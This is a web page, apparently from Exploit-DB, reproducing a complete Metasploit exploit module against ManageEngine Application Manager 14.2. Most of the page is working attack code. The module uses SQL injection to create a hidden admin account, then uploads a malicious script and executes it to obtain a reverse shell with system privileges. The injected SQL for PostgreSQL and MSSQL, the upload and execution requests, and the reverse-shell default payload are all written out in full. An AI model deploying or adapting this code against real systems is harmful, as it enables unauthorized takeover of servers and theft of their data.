ManageEngine Application Manager 14.2 – Privilege Escalation / Remote Command Execution (Metasploit)

  • 作者: AkkuS
    日期: 2019-08-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47228/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
     
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
     
    include Msf::Exploit::Remote::HttpClient
     
    def initialize(info={})
    super(update_info(info,
    'Name' => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution",
    'Description'=> %q(
    This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions.
     
    Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
    Therefore low authority user can gain the authority of "system" on the server. 
    It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager.
    
    /////// This 0day has been published at DEFCON-AppSec Village. ///////
    
    ),
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
    ],
    'References' =>
    [
    [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ]
    ],
    'DefaultOptions' =>
    {
    'WfsDelay' => 60,
    'RPORT' => 9090,
    'SSL' => false,
    'PAYLOAD' => 'generic/shell_reverse_tcp'
    },
    'Privileged' => true,
    'Payload'=>
    {
    'DisableNops' => true,
    },
    'Platform' => ['unix', 'win'],
    'Targets' =>
    [
    [ 'Windows Target',
    {
    'Platform' => ['win'],
    'Arch' => ARCH_CMD,
    }
    ],
    [ 'Linux Target',
    {
    'Platform' => ['unix'],
    'Arch' => ARCH_CMD,
    'Payload' =>
    {
    'Compat' =>
    {
    'PayloadType' => 'cmd',
    }
    }
    }
    ]
    ],
    'DisclosureDate' => '10 August 2019 //DEFCON',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('USERNAME',[true, 'OpManager Username']),
    OptString.new('PASSWORD',[true, 'OpManager Password']),
    OptString.new('TARGETURI',[true, 'Base path for ME application', '/'])
    ],self.class)
    end
    
    def check_platform(cookie)
    
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'showTile.do'),
    'cookie'=> cookie,
    'vars_get' => {
    'TileName' => '.ExecProg',
    'haid' => 'null',
    }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
    @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
    if @dir =~ /:/
    platform = Msf::Module::Platform::Windows
    else 
    platform = Msf::Module::Platform::Unix
    end
    else
    fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(cookie, platform, @dir)
    end
    
    def file_up(cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
    filex = ".bat"
    else
    if payload.encoded =~ /sh/
    filex = ".sh"
    elsif payload.encoded =~ /perl/
    filex = ".pl"
    elsif payload.encoded =~ /awk 'BEGIN{/
    filex = ".sh"
    elsif payload.encoded =~ /python/
    filex = ".py"
    elsif payload.encoded =~ /ruby/
    filex = ".rb"
    else
    fail_with(Failure::Unknown, 'Payload type could not be checked!')
    end
    end
     
    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
     
    res = send_request_cgi({
    'method' => 'POST',
    'data'=> data.to_s,
    'agent' => 'Mozilla',
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'cookie' => cookie,
    'uri' => normalize_uri(target_uri, "Upload.do") 
    })
     
    if res && res.code == 200 && res.body.include?('icon_message_success')
    print_good("#{@fname} malicious file has been uploaded.")
    create_exec_prog(cookie, dir, @fname)
    else
    fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
    end
    
    def create_exec_prog(cookie, dir, fname)
     
    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' =>normalize_uri(target_uri.path, 'adminAction.do'),
    'cookie'=> cookie,
    'vars_post' => {
    'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
    'method' => 'createExecProgAction',
    'id' => 0,
    'displayname' => @display,
    'serversite' => 'local',
    'choosehost' => -2,
    'abortafter' => 5,
    'command' => fname,
    'execProgExecDir' => dir,
    'cancel' => 'false'
    }
    )
     
    if res && res.code == 200 && res.body.include?('icon_message_success')
    actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
    print_status("Transactions completed. Attempting to get a session...")
    exec(cookie, actionid)
    else
    fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
    end
    
    def exec(cookie, action)
    send_request_cgi(
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'common', 'executeScript.do'),
    'cookie'=> cookie,
    'vars_get' => {
    'method' => 'testAction',
    'actionID' => action,
    'haid' => 'null'
    }
    )
    end
     
    def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
    end
     
    def print_status(msg='')
    super("#{peer} - #{msg}")
    end
     
    def print_error(msg='')
    super("#{peer} - #{msg}")
    end
     
    def print_good(msg='')
    super("#{peer} - #{msg}")
    end 
    
    def check
    
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'index.do'),
    )
    # For this part the build control will be placed.
    if res && res.code == 200 && res.body.include?('Build No:142')
    return Exploit::CheckCode::Vulnerable
    else 
    return Exploit::CheckCode::Safe
    end
    end
    
    def app_login
    
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'applications.do'),
    )
    
    if res && res.code == 200 && res.body.include?('.loginDiv')
    @cookie = res.get_cookies
    
    res = send_request_cgi(
    'method'=> 'POST',
    'cookie' => @cookie,
    'uri' =>normalize_uri(target_uri.path, '/j_security_check'),
    'vars_post' => {
    'clienttype' => 'html',
    'j_username' => datastore['USERNAME'],
    'j_password' => datastore['PASSWORD'],
    'submit' => 'Login'
    }
    )
    
    if res && res.code == 303
    res = send_request_cgi(
    'cookie'=> @cookie,
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'applications.do'),
    )
    
    @cookie = res.get_cookies
    send_sqli(@cookie)
    else
    fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
    end 
    
    else
    fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
    end
    end
    
    def exploit
    unless Exploit::CheckCode::Vulnerable == check
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    app_login
    end
    
    def send_sqli(cookies)
    
    @uname = Rex::Text.rand_text_alpha_lower(6)
    uid = rand_text_numeric(3)
    apk = rand_text_numeric(6) 
    @pwd = rand_text_alphanumeric(8+rand(9))
    @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
    pg_user ="" 
    pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
    pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
    pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
    ms_user =""
    ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
    ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
    ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
    
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
    'cookie' => cookies
    )
    
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
    'cookie' => cookies
    )
    
    res = send_request_cgi(
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'applications.do'),
    )
    
    if res && res.code == 200 && res.body.include?('.loginDiv')
    @cookie = res.get_cookies
    
    res = send_request_cgi(
    'method'=> 'POST',
    'cookie' => @cookie,
    'uri' =>normalize_uri(target_uri.path, '/j_security_check'),
    'vars_post' => {
    'clienttype' => 'html',
    'j_username' => @uname,
    'j_password' => @pwd,
    'submit' => 'Login'
    }
    )
    print @uname + "//" + @pwd
    puts res.body
    if res && res.code == 303
    print_good("Privilege Escalation was successfully performed.")
    print_good("New APM admin username = " + @uname)
    print_good("New APM admin password = " + @pwd)
    res = send_request_cgi(
    'cookie'=> @cookie,
    'method'=> 'GET',
    'uri' =>normalize_uri(target_uri.path, 'applications.do'),
    )
    
    @cookie = res.get_cookies
    check_platform(@cookie)
    else
    fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
    end
    else
    fail_with(Failure::NotVulnerable, 'Something went wrong!')
    end
    end
    end